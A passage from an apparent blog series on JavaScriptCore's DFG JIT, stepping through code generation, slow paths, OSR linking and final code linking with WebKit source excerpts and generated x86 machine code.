<p>These should be enabled in <code>launch.json</code>. Returning back to our discussion of <code>SpeculativeJIT::compile(Node*)</code>, lets set a breakpoint at the <code>GetLocal</code> switch case and step through the generation of machine code. With the <code>verboseCompilation</code> flag enabled one should see logging similar to the output below:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c++" data-lang="c++"><span style="display:flex;"><span>SpeculativeJIT generating Node <span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">0</span> (<span style="color:#ae81ff">0</span>) at JIT offset <span style="color:#ae81ff">0x209</span>
</span></span><span style="display:flex;"><span>SpeculativeJIT generating Node <span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">1</span> (<span style="color:#ae81ff">0</span>) at JIT offset <span style="color:#ae81ff">0x226</span>
</span></span><span style="display:flex;"><span>SpeculativeJIT generating Node <span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">2</span> (<span style="color:#ae81ff">0</span>) at JIT offset <span style="color:#ae81ff">0x243</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">//... truncated for brevity
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>
</span></span><span style="display:flex;"><span>SpeculativeJIT generating Node <span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">31</span> (<span style="color:#ae81ff">7</span>) at JIT offset <span style="color:#ae81ff">0x746</span>
</span></span><span style="display:flex;"><span>SpeculativeJIT generating Node <span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">33</span> (<span style="color:#ae81ff">13</span>) at JIT offset <span style="color:#ae81ff">0x763</span>
</span></span><span style="display:flex;"><span>SpeculativeJIT generating Node <span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">34</span> (<span style="color:#ae81ff">13</span>) at JIT offset <span style="color:#ae81ff">0x793</span>
</span></span><span style="display:flex;"><span>Bailing compilation.
</span></span></code></pre></div><p>Let&rsquo;s examine node <code>D@30</code>, from the graph dump listed previously, which is an <code>ArithAdd</code> node. Compiling this node results in a call to <code>compileArithAdd(Node*)</code>:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c++" data-lang="c++"><span style="display:flex;"><span><span style="color:#66d9ef">void</span> SpeculativeJIT<span style="color:#f92672">::</span>compileArithAdd(Node<span style="color:#f92672">*</span> node)
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">switch</span> (node<span style="color:#f92672">-&gt;</span>binaryUseKind()) {
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">case</span> Int32Use: {
</span></span><span style="display:flex;"><span>        ASSERT(<span style="color:#f92672">!</span>shouldCheckNegativeZero(node<span style="color:#f92672">-&gt;</span>arithMode()));
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">if</span> (node<span style="color:#f92672">-&gt;</span>child2()<span style="color:#f92672">-&gt;</span>isInt32Constant()) {
</span></span><span style="display:flex;"><span>            <span style="color:#75715e">//... code truncated for brevity
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>        }
</span></span><span style="display:flex;"><span>                
</span></span><span style="display:flex;"><span>        SpeculateInt32Operand <span style="color:#a6e22e">op1</span>(<span style="color:#66d9ef">this</span>, node<span style="color:#f92672">-&gt;</span>child1());
</span></span><span style="display:flex;"><span>        SpeculateInt32Operand <span style="color:#a6e22e">op2</span>(<span style="color:#66d9ef">this</span>, node<span style="color:#f92672">-&gt;</span>child2());
</span></span><span style="display:flex;"><span>        GPRTemporary <span style="color:#a6e22e">result</span>(<span style="color:#66d9ef">this</span>, Reuse, op1, op2);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        GPRReg gpr1 <span style="color:#f92672">=</span> op1.gpr();
</span></span><span style="display:flex;"><span>        GPRReg gpr2 <span style="color:#f92672">=</span> op2.gpr();
</span></span><span style="display:flex;"><span>        GPRReg gprResult <span style="color:#f92672">=</span> result.gpr();
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">if</span> (<span style="color:#f92672">!</span>shouldCheckOverflow(node<span style="color:#f92672">-&gt;</span>arithMode()))
</span></span><span style="display:flex;"><span>            m_jit.add32(gpr1, gpr2, gprResult);
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">else</span> {
</span></span><span style="display:flex;"><span>            MacroAssembler<span style="color:#f92672">::</span>Jump check <span style="color:#f92672">=</span> m_jit.branchAdd32(MacroAssembler<span style="color:#f92672">::</span>Overflow, gpr1, gpr2, gprResult);
</span></span><span style="display:flex;"><span>                
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">if</span> (gpr1 <span style="color:#f92672">==</span> gprResult <span style="color:#f92672">&amp;&amp;</span> gpr2 <span style="color:#f92672">==</span> gprResult)
</span></span><span style="display:flex;"><span>                speculationCheck(Overflow, JSValueRegs(), <span style="color:#66d9ef">nullptr</span>, check, SpeculationRecovery(SpeculativeAddSelf, gprResult, gpr2));
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">else</span> <span style="color:#a6e22e">if</span> (gpr1 <span style="color:#f92672">==</span> gprResult)
</span></span><span style="display:flex;"><span>                speculationCheck(Overflow, JSValueRegs(), <span style="color:#66d9ef">nullptr</span>, check, SpeculationRecovery(SpeculativeAdd, gprResult, gpr2));
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">else</span> <span style="color:#a6e22e">if</span> (gpr2 <span style="color:#f92672">==</span> gprResult)
</span></span><span style="display:flex;"><span>                speculationCheck(Overflow, JSValueRegs(), <span style="color:#66d9ef">nullptr</span>, check, SpeculationRecovery(SpeculativeAdd, gprResult, gpr1));
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">else</span>
</span></span><span style="display:flex;"><span>                <span style="color:#a6e22e">speculationCheck</span>(Overflow, JSValueRegs(), <span style="color:#66d9ef">nullptr</span>, check);
</span></span><span style="display:flex;"><span>        }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        strictInt32Result(gprResult, node);
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">return</span>;
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>        
</span></span><span style="display:flex;"><span>    <span style="color:#75715e">//... code truncated for brevity
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>}
</span></span></code></pre></div><p>The function above first generates <code>SpeculateInt32Operand</code> objects for the two operands of the addition operation. It then extracts the general purpose registers for these two operands as well as the gpr of the result. Next it performs a check to determine if the addition would cause an overflow. From the optimisation phases, it was determined that the <code>ArithAdd</code> operation is <em>unchecked</em> and does not need checks for overflows. This results in a call to <code>add32</code> which is defined in MacroAssemblerX86Common.h.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c++" data-lang="c++"><span style="display:flex;"><span><span style="color:#66d9ef">void</span> <span style="color:#a6e22e">add32</span>(RegisterID a, RegisterID b, RegisterID dest)
</span></span><span style="display:flex;"><span>    {
</span></span><span style="display:flex;"><span>        x86Lea32(BaseIndex(a, b, TimesOne), dest);
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">void</span> <span style="color:#a6e22e">x86Lea32</span>(BaseIndex index, RegisterID dest)
</span></span><span style="display:flex;"><span>    {
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">if</span> (<span style="color:#f92672">!</span>index.scale <span style="color:#f92672">&amp;&amp;</span> <span style="color:#f92672">!</span>index.offset) {
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">if</span> (index.base <span style="color:#f92672">==</span> dest) {
</span></span><span style="display:flex;"><span>                add32(index.index, dest);
</span></span><span style="display:flex;"><span>                <span style="color:#66d9ef">return</span>;
</span></span><span style="display:flex;"><span>            }
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">if</span> (index.index <span style="color:#f92672">==</span> dest) {
</span></span><span style="display:flex;"><span>                add32(index.base, dest);
</span></span><span style="display:flex;"><span>                <span style="color:#66d9ef">return</span>;
</span></span><span style="display:flex;"><span>            }
</span></span><span style="display:flex;"><span>        }
</span></span><span style="display:flex;"><span>        m_assembler.leal_mr(index.offset, index.base, index.index, index.scale, dest);
</span></span><span style="display:flex;"><span>    }
</span></span></code></pre></div><p>The functions above then invoke the assembler which results in the generation of the following machine code:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c++" data-lang="c++"><span style="display:flex;"><span>D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">30</span><span style="color:#f92672">:&lt;!</span><span style="color:#ae81ff">2</span><span style="color:#f92672">:</span>loc6<span style="color:#f92672">&gt;</span>    ArithAdd(Int32:D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">28</span>, Int32:D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">29</span>, JS<span style="color:#f92672">|</span>MustGen<span style="color:#f92672">|</span>UseAsOther, Int32, CheckOverflow, Exits, bc<span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">7</span>, ExitValid)
</span></span><span style="display:flex;"><span>          <span style="color:#ae81ff">0x7fffeecfeb1a</span><span style="color:#f92672">:</span> mov <span style="color:#960050;background-color:#1e0010">$</span><span style="color:#ae81ff">0x7fffaeb0bba0</span>, <span style="color:#f92672">%</span>r11
</span></span><span style="display:flex;"><span>          <span style="color:#ae81ff">0x7fffeecfeb24</span><span style="color:#f92672">:</span> mov (<span style="color:#f92672">%</span>r11), <span style="color:#f92672">%</span>r11
</span></span><span style="display:flex;"><span>          <span style="color:#ae81ff">0x7fffeecfeb27</span><span style="color:#f92672">:</span> test <span style="color:#f92672">%</span>r11, <span style="color:#f92672">%</span>r11
</span></span><span style="display:flex;"><span>          <span style="color:#ae81ff">0x7fffeecfeb2a</span><span style="color:#f92672">:</span> jz <span style="color:#ae81ff">0x7fffeecfeb37</span>
</span></span><span style="display:flex;"><span>          <span style="color:#ae81ff">0x7fffeecfeb30</span><span style="color:#f92672">:</span> mov <span style="color:#960050;background-color:#1e0010">$</span><span style="color:#ae81ff">0x113</span>, <span style="color:#f92672">%</span>r11d
</span></span><span style="display:flex;"><span>          <span style="color:#ae81ff">0x7fffeecfeb36</span><span style="color:#f92672">:</span> int3 
</span></span><span style="display:flex;"><span>          <span style="color:#ae81ff">0x7fffeecfeb37</span><span style="color:#f92672">:</span> mov <span style="color:#960050;background-color:#1e0010">$</span><span style="color:#ae81ff">0x7fffaeb000e4</span>, <span style="color:#f92672">%</span>r11
</span></span><span style="display:flex;"><span>          <span style="color:#ae81ff">0x7fffeecfeb41</span><span style="color:#f92672">:</span> mov <span style="color:#960050;background-color:#1e0010">$</span><span style="color:#ae81ff">0xf0f4</span>, (<span style="color:#f92672">%</span>r11)
</span></span><span style="display:flex;"><span>          <span style="color:#ae81ff">0x7fffeecfeb48</span><span style="color:#f92672">:</span> add <span style="color:#f92672">%</span>esi, <span style="color:#f92672">%</span>eax
</span></span><span style="display:flex;"><span>          <span style="color:#ae81ff">0x7fffeecfeb4a</span><span style="color:#f92672">:</span> jo <span style="color:#ae81ff">0x7fffeecfedd2</span>
</span></span><span style="display:flex;"><span>          <span style="color:#ae81ff">0x7fffeecfeb50</span><span style="color:#f92672">:</span> mov <span style="color:#960050;background-color:#1e0010">$</span><span style="color:#ae81ff">0xffffffff</span>, <span style="color:#f92672">%</span>r11
</span></span><span style="display:flex;"><span>          <span style="color:#ae81ff">0x7fffeecfeb5a</span><span style="color:#f92672">:</span> cmp <span style="color:#f92672">%</span>r11, <span style="color:#f92672">%</span>rax
</span></span><span style="display:flex;"><span>          <span style="color:#ae81ff">0x7fffeecfeb5d</span><span style="color:#f92672">:</span> jbe <span style="color:#ae81ff">0x7fffeecfeb6a</span>
</span></span><span style="display:flex;"><span>          <span style="color:#ae81ff">0x7fffeecfeb63</span><span style="color:#f92672">:</span> mov <span style="color:#960050;background-color:#1e0010">$</span><span style="color:#ae81ff">0x32</span>, <span style="color:#f92672">%</span>r11d
</span></span><span style="display:flex;"><span>          <span style="color:#ae81ff">0x7fffeecfeb69</span><span style="color:#f92672">:</span> int3 
</span></span></code></pre></div><p>In this fashion, each block and node in each block are compiled to machine code. One can evaluate compilation for each node type by adding breakpoints at the various <em>case</em> statements within <code>compile(Node*)</code> as demonstrate for <code>GetLocal</code> and <code>ArithAdd</code>.</p>
<p>At the end of this compilation, execution returns back to <code>SpeculativeJIT::compile</code> which then calls <a href="https://github.com/WebKit/WebKit/blob/b7e84a4224b3934868bc08f5c89b583355a6c87a/Source/JavaScriptCore/dfg/DFGSpeculativeJIT.cpp#L2158"><code>linkBranches</code></a>. This function as the name suggests links the various blocks in the graph by iterating over the branches that have been generated as part node compilation and linking them to the corresponding blocks:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c++" data-lang="c++"><span style="display:flex;"><span><span style="color:#66d9ef">void</span> SpeculativeJIT<span style="color:#f92672">::</span>linkBranches()
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">for</span> (<span style="color:#66d9ef">auto</span><span style="color:#f92672">&amp;</span> branch : m_branches)
</span></span><span style="display:flex;"><span>        branch.jump.linkTo(m_jit.blockHeads()[branch.destination<span style="color:#f92672">-&gt;</span>index], <span style="color:#f92672">&amp;</span>m_jit);
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>The current test script, <code>test.js</code> does not contain any branching instructions such as <em>loops</em> or <em>if-else</em> statements but one can generate a test script with branching instructions as demonstrated in <a href="/posts/jsc-part3-the-dfg-jit-graph-building/#branching-instructions">DFG IR section on branching</a>.</p>
<p>After <code>linkBranches</code> completes and through a series of returns, execution <a href="https://github.com/WebKit/WebKit/blob/b7e84a4224b3934868bc08f5c89b583355a6c87a/Source/JavaScriptCore/dfg/DFGJITCompiler.cpp#L427">ends up back in <code>JITCompiler::compileFunction</code></a> at the start of the <em>footer code generation</em>. The snippet of the function listed below performs four main tasks. It performs a number of checks on stack overflows and an <em>arity</em> check if required. An <em>arity</em> check ensures that the correct number of arguments is passed to the CodeBlock before execution of the optimised code.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c++" data-lang="c++"><span style="display:flex;"><span>    <span style="color:#75715e">// === Function footer code generation ===
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>    <span style="color:#75715e">//
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>    <span style="color:#75715e">// Generate code to perform the stack overflow handling (if the stack check in
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>    <span style="color:#75715e">// the function header fails), and generate the entry point with arity check.
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>
</span></span><span style="display:flex;"><span>    <span style="color:#75715e">//... truncated for brevity
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>    Call callArityFixup;
</span></span><span style="display:flex;"><span>    Label arityCheck;
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">bool</span> requiresArityFixup <span style="color:#f92672">=</span> m_codeBlock<span style="color:#f92672">-&gt;</span>numParameters() <span style="color:#f92672">!=</span> <span style="color:#ae81ff">1</span>;
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">if</span> (requiresArityFixup) {
</span></span><span style="display:flex;"><span>        arityCheck <span style="color:#f92672">=</span> label();
</span></span><span style="display:flex;"><span>        compileEntry();
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        load32(AssemblyHelpers<span style="color:#f92672">::</span>payloadFor((VirtualRegister)CallFrameSlot<span style="color:#f92672">::</span>argumentCountIncludingThis), GPRInfo<span style="color:#f92672">::</span>regT1);
</span></span><span style="display:flex;"><span>        branch32(AboveOrEqual, GPRInfo<span style="color:#f92672">::</span>regT1, TrustedImm32(m_codeBlock<span style="color:#f92672">-&gt;</span>numParameters())).linkTo(fromArityCheck, <span style="color:#66d9ef">this</span>);
</span></span><span style="display:flex;"><span>        emitStoreCodeOrigin(CodeOrigin(BytecodeIndex(<span style="color:#ae81ff">0</span>)));
</span></span><span style="display:flex;"><span>        <span style="color:#75715e">//... code truncated for brevity
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>    } <span style="color:#66d9ef">else</span>
</span></span><span style="display:flex;"><span>        arityCheck <span style="color:#f92672">=</span> entryLabel;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#75715e">//... truncated for brevity
</span></span></span></code></pre></div><h2 id="slow-path-generation-and-osr-linking">Slow Path Generation and OSR Linking</h2>
<p>Once the various nodes in the graph have been lowered to machine code, the next step in the code generation phase is to emit slow path code, link the optimised code to OSR Exit sites and finally creates OSR Entries into the optimised code.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c++" data-lang="c++"><span style="display:flex;"><span>    <span style="color:#75715e">// Generate slow path code.
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>    m_speculative<span style="color:#f92672">-&gt;</span>runSlowPathGenerators(m_pcToCodeOriginMapBuilder);
</span></span><span style="display:flex;"><span>    m_pcToCodeOriginMapBuilder.appendItem(labelIgnoringWatchpoints(), PCToCodeOriginMapBuilder<span style="color:#f92672">::</span>defaultCodeOrigin());
</span></span><span style="display:flex;"><span>    
</span></span><span style="display:flex;"><span>    compileExceptionHandlers();
</span></span><span style="display:flex;"><span>    linkOSRExits();
</span></span><span style="display:flex;"><span>    
</span></span><span style="display:flex;"><span>    <span style="color:#75715e">// Create OSR entry trampolines if necessary.
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>    m_speculative<span style="color:#f92672">-&gt;</span>createOSREntries();
</span></span><span style="display:flex;"><span>    setEndOfCode();
</span></span></code></pre></div><p><em>Slow Paths</em> are generated for operations that require additional checks that the DFG cannot optimise out. Examples of JavaScript constructs that generate <em>slow paths</em> are <a href="https://github.com/WebKit/WebKit/blob/b7e84a4224b3934868bc08f5c89b583355a6c87a/Source/JavaScriptCore/dfg/DFGSpeculativeJIT.cpp#L9339">array push</a> operations, <a href="https://github.com/WebKit/WebKit/blob/b7e84a4224b3934868bc08f5c89b583355a6c87a/Source/JavaScriptCore/dfg/DFGSpeculativeJIT.cpp#L8972">array slice</a> operations, <a href="https://github.com/WebKit/WebKit/blob/b7e84a4224b3934868bc08f5c89b583355a6c87a/Source/JavaScriptCore/dfg/DFGSpeculativeJIT.cpp#L4778">Calling toObject or an object constructor</a>, etc. The function <code>runSlowPathGenerators</code> is listed below:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c++" data-lang="c++"><span style="display:flex;"><span><span style="color:#66d9ef">void</span> SpeculativeJIT<span style="color:#f92672">::</span>runSlowPathGenerators(PCToCodeOriginMapBuilder<span style="color:#f92672">&amp;</span> pcToCodeOriginMapBuilder)
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">for</span> (<span style="color:#66d9ef">auto</span><span style="color:#f92672">&amp;</span> slowPathGenerator : m_slowPathGenerators) {
</span></span><span style="display:flex;"><span>        pcToCodeOriginMapBuilder.appendItem(m_jit.labelIgnoringWatchpoints(), slowPathGenerator<span style="color:#f92672">-&gt;</span>origin().semantic);
</span></span><span style="display:flex;"><span>        slowPathGenerator<span style="color:#f92672">-&gt;</span>generate(<span style="color:#66d9ef">this</span>);
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">for</span> (<span style="color:#66d9ef">auto</span><span style="color:#f92672">&amp;</span> slowPathLambda : m_slowPathLambdas) {
</span></span><span style="display:flex;"><span>        Node<span style="color:#f92672">*</span> currentNode <span style="color:#f92672">=</span> slowPathLambda.currentNode;
</span></span><span style="display:flex;"><span>        m_currentNode <span style="color:#f92672">=</span> currentNode;
</span></span><span style="display:flex;"><span>        m_outOfLineStreamIndex <span style="color:#f92672">=</span> slowPathLambda.streamIndex;
</span></span><span style="display:flex;"><span>        pcToCodeOriginMapBuilder.appendItem(m_jit.labelIgnoringWatchpoints(), currentNode<span style="color:#f92672">-&gt;</span>origin.semantic);
</span></span><span style="display:flex;"><span>        slowPathLambda.generator();
</span></span><span style="display:flex;"><span>        m_outOfLineStreamIndex <span style="color:#f92672">=</span> WTF<span style="color:#f92672">::</span>nullopt;
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>The snippet above, lists two loops, one that iterates over <code>m_slowPathGenerators</code> and the other over <em>m_slowPathLambdas</em>. In the first loop for each <code>slowPathGenerator</code>, the <code>generate</code> function is invoked which through a series of function calls ends up calling <a href="https://github.com/WebKit/WebKit/blob/335a4d3dad1e1fc4cad74f73eb9c0d7416738a4f/Source/JavaScriptCore/dfg/DFGSlowPathGenerator.h#L172"><code>CallResultAndArgumentsSlowPathGenerator::unpackAndGenerate</code></a>:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c++" data-lang="c++"><span style="display:flex;"><span><span style="color:#66d9ef">void</span> <span style="color:#a6e22e">unpackAndGenerate</span>(SpeculativeJIT<span style="color:#f92672">*</span> jit, std<span style="color:#f92672">::</span>index_sequence<span style="color:#f92672">&lt;</span>ArgumentsIndex...<span style="color:#f92672">&gt;</span>)
</span></span><span style="display:flex;"><span>    {
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">this</span><span style="color:#f92672">-&gt;</span>setUp(jit);
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">if</span> <span style="color:#66d9ef">constexpr</span> (std<span style="color:#f92672">::</span>is_same<span style="color:#f92672">&lt;</span>ResultType, NoResultTag<span style="color:#f92672">&gt;::</span>value)
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">this</span><span style="color:#f92672">-&gt;</span>recordCall(jit<span style="color:#f92672">-&gt;</span>callOperation(<span style="color:#66d9ef">this</span><span style="color:#f92672">-&gt;</span>m_function, std<span style="color:#f92672">::</span>get<span style="color:#f92672">&lt;</span>ArgumentsIndex<span style="color:#f92672">&gt;</span>(m_arguments)...));
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">else</span>
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">this</span><span style="color:#f92672">-&gt;</span>recordCall(jit<span style="color:#f92672">-&gt;</span>callOperation(<span style="color:#66d9ef">this</span><span style="color:#f92672">-&gt;</span>m_function, extractResult(<span style="color:#66d9ef">this</span><span style="color:#f92672">-&gt;</span>m_result), std<span style="color:#f92672">::</span>get<span style="color:#f92672">&lt;</span>ArgumentsIndex<span style="color:#f92672">&gt;</span>(m_arguments)...));
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">this</span><span style="color:#f92672">-&gt;</span>tearDown(jit);
</span></span><span style="display:flex;"><span>    }
</span></span></code></pre></div><p>In the snippet above, the function begins by calling <code>setUp</code> which emits code that generates jump instructions from the JIT code to the slow path call. It then invokes the function <code>callOperation</code> which emits machine code for the specific slow path call identified by <code>m_function</code>. Finally, once <code>callOperation</code> returns, the call to <code>tearDown</code> generates jump instructions from the slow path back into the JIT code. One of the design principles of slow paths is that they are shared across the four JSC tiers and can be accessed via the JIT ABI.</p>
<p>Once code for <em>slow paths</em> have been generated, the various OSR Exits are linked with the call to <a href="https://github.com/WebKit/WebKit/blob/b7e84a4224b3934868bc08f5c89b583355a6c87a/Source/JavaScriptCore/dfg/DFGJITCompiler.cpp#L476"><code>linkOSRExits</code></a>. The essentially loops over the OSR Exit sites that have been recorded at the time of graph generation and uses this information to generate jump instructions from the JIT code to a OSR Exit handler. The <a href="/posts/jsc-part5-the-dfg-jit-osr/#osr-exit">OSR Exit section</a> of this blog will cover how these exits are handled in further detail.</p>
<p>Finally, a call to <code>createOSREntries</code> which loops over the list of blocks in the graph and identifies blocks that are either <em>OSR Entry targets</em> or entry points to <em>Catch blocks</em> to generate a list of OSR Entry points that will be linked as part of the final stage of compilation.</p>
<h2 id="code-linking">Code Linking</h2>
<p>Following the code generation stage, execution reaches the <a href="https://github.com/WebKit/WebKit/blob/335a4d3dad1e1fc4cad74f73eb9c0d7416738a4f/Source/JavaScriptCore/dfg/DFGJITCompiler.cpp#L483">end of the <code>JITCompiler::compileFunction</code></a> which is the final stage of the JIT compilation and does the linking and finalisation of the compilation process:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c++" data-lang="c++"><span style="display:flex;"><span>    <span style="color:#75715e">//... code truncated for brevity
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>
</span></span><span style="display:flex;"><span>    <span style="color:#75715e">// === Link ===
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>    <span style="color:#66d9ef">auto</span> linkBuffer <span style="color:#f92672">=</span> makeUnique<span style="color:#f92672">&lt;</span>LinkBuffer<span style="color:#f92672">&gt;</span>(<span style="color:#f92672">*</span><span style="color:#66d9ef">this</span>, m_codeBlock, JITCompilationCanFail);
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">if</span> (linkBuffer<span style="color:#f92672">-&gt;</span>didFailToAllocate()) {
</span></span><span style="display:flex;"><span>        m_graph.m_plan.setFinalizer(makeUnique<span style="color:#f92672">&lt;</span>FailedFinalizer<span style="color:#f92672">&gt;</span>(m_graph.m_plan));
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">return</span>;
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>    link(<span style="color:#f92672">*</span>linkBuffer);
</span></span><span style="display:flex;"><span>    m_speculative<span style="color:#f92672">-&gt;</span>linkOSREntries(<span style="color:#f92672">*</span>linkBuffer);
</span></span><span style="display:flex;"><span>    
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">if</span> (requiresArityFixup)
</span></span><span style="display:flex;"><span>        linkBuffer<span style="color:#f92672">-&gt;</span>link(callArityFixup, FunctionPtr<span style="color:#f92672">&lt;</span>JITThunkPtrTag<span style="color:#f92672">&gt;</span>(vm().getCTIStub(arityFixupGenerator).code()));
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    disassemble(<span style="color:#f92672">*</span>linkBuffer);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    MacroAssemblerCodePtr<span style="color:#f92672">&lt;</span>JSEntryPtrTag<span style="color:#f92672">&gt;</span> withArityCheck <span style="color:#f92672">=</span> linkBuffer<span style="color:#f92672">-&gt;</span>locationOf<span style="color:#f92672">&lt;</span>JSEntryPtrTag<span style="color:#f92672">&gt;</span>(arityCheck);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    m_graph.m_plan.setFinalizer(makeUnique<span style="color:#f92672">&lt;</span>JITFinalizer<span style="color:#f92672">&gt;</span>(
</span></span><span style="display:flex;"><span>        m_graph.m_plan, m_jitCode.releaseNonNull(), WTFMove(linkBuffer), withArityCheck));
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>The function first allocates memory of the <code>LinkBuffer</code> and retrieves a pointer to this object. It then calls the function <a href="https://github.com/WebKit/WebKit/blob/335a4d3dad1e1fc4cad74f73eb9c0d7416738a4f/Source/JavaScriptCore/dfg/DFGJITCompiler.cpp#L488"><code>JITCompiler::link</code></a> which performs a number of linking operations on the LinkBuffer. These operations include linking switch statements, function calls within the optimised code and from the optimised code to external targets (e.g. stack overflow checks, arity checks, etc), inline cache accesses, OSR Exit targets and finally any exception handlers generated by the DFG.</p>
<p>Once the <code>JITCompiler::link</code> function returns, the call the function <a href="https://github.com/WebKit/WebKit/blob/335a4d3dad1e1fc4cad74f73eb9c0d7416738a4f/Source/JavaScriptCore/dfg/DFGSpeculativeJIT.cpp#L2176"><code>SpeculativeJIT::linkOSREntries(LinkBuffer&amp; linkBuffer)</code></a> is invoked. This function loops over each block in the graph to determine if the block is an OSR Entry Target and makes a record of it. With the  <code>verboseCompilation</code> flag enabled, you should be able to see the various OSR Entry sites printed to <em>stdout</em>. For example, the OSR entries generated for test script <code>test.js</code> are listed below:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c++" data-lang="c++"><span style="display:flex;"><span>OSR Entries:
